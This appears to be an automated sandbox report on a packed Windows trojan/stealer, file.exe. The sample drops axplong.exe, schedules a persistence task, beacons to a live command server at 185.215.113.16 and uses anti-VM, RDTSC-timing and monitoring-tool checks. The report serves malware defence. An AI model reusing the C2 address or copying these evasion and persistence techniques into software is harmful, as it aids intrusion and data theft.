Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_002BBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_002BBD60

Source: global traffic

DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php=
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpD
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpE
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpI
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpJ
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpX
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpY
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.2980255678.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpi
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedV
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedn
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpq
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpz

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F3068	6_2_002F3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002BE440	6_2_002BE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002B4CF0	6_2_002B4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002E7D83	6_2_002E7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F765B	6_2_002F765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002B4AF0	6_2_002B4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F8720	6_2_002F8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F6F09	6_2_002F6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F777B	6_2_002F777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002F2BD0	6_2_002F2BD0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974242166212534
Source: file.exe	Static PE information: Section: mtnloani ZLIB complexity 0.994482129491018
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9974242166212534
Source: axplong.exe.0.dr	Static PE information: Section: mtnloani ZLIB complexity 0.994482129491018

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/1

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1913344 > 1048576

Source: file.exe

Static PE information: Raw size of mtnloani is bigger than: 0x100000 < 0x1a1800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 1.2.axplong.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtnloani:EW;bcuuovzp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1d3bff should be: 0x1d8807
Source: file.exe	Static PE information: real checksum: 0x1d3bff should be: 0x1d8807

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mtnloani
Source: file.exe	Static PE information: section name: bcuuovzp
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: mtnloani
Source: axplong.exe.0.dr	Static PE information: section name: bcuuovzp
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_002CD84C push ecx; ret

6_2_002CD85F

Source: file.exe	Static PE information: section name: entropy: 7.981756657229513
Source: file.exe	Static PE information: section name: mtnloani entropy: 7.954149945480765
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.981756657229513
Source: axplong.exe.0.dr	Static PE information: section name: mtnloani entropy: 7.954149945480765

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EB3D second address: 56EB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F488C756CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EB47 second address: 56EB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E46FB second address: 6E4716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D07h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4DD9 second address: 6E4DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4DDF second address: 6E4DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4DE3 second address: 6E4E33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045403h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F488D045407h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F488D0453FCh 0x0000001a pushad 0x0000001b jnl 00007F488D0453F6h 0x00000021 jc 00007F488D0453F6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E84BF second address: 6E84C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E84C3 second address: 6E84D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E84D6 second address: 6E84FC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F488C756CFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F488C756CFBh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E84FC second address: 6E8587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov di, 81A1h 0x0000000c push 00000003h 0x0000000e push ebx 0x0000000f jmp 00007F488D045404h 0x00000014 pop ecx 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 js 00007F488D045401h 0x0000001e jmp 00007F488D0453FBh 0x00000023 pop edx 0x00000024 push 00000003h 0x00000026 jmp 00007F488D045408h 0x0000002b call 00007F488D0453F9h 0x00000030 jl 00007F488D045411h 0x00000036 pushad 0x00000037 jmp 00007F488D0453FBh 0x0000003c jmp 00007F488D0453FEh 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F488D0453FBh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8587 second address: 6E8598 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
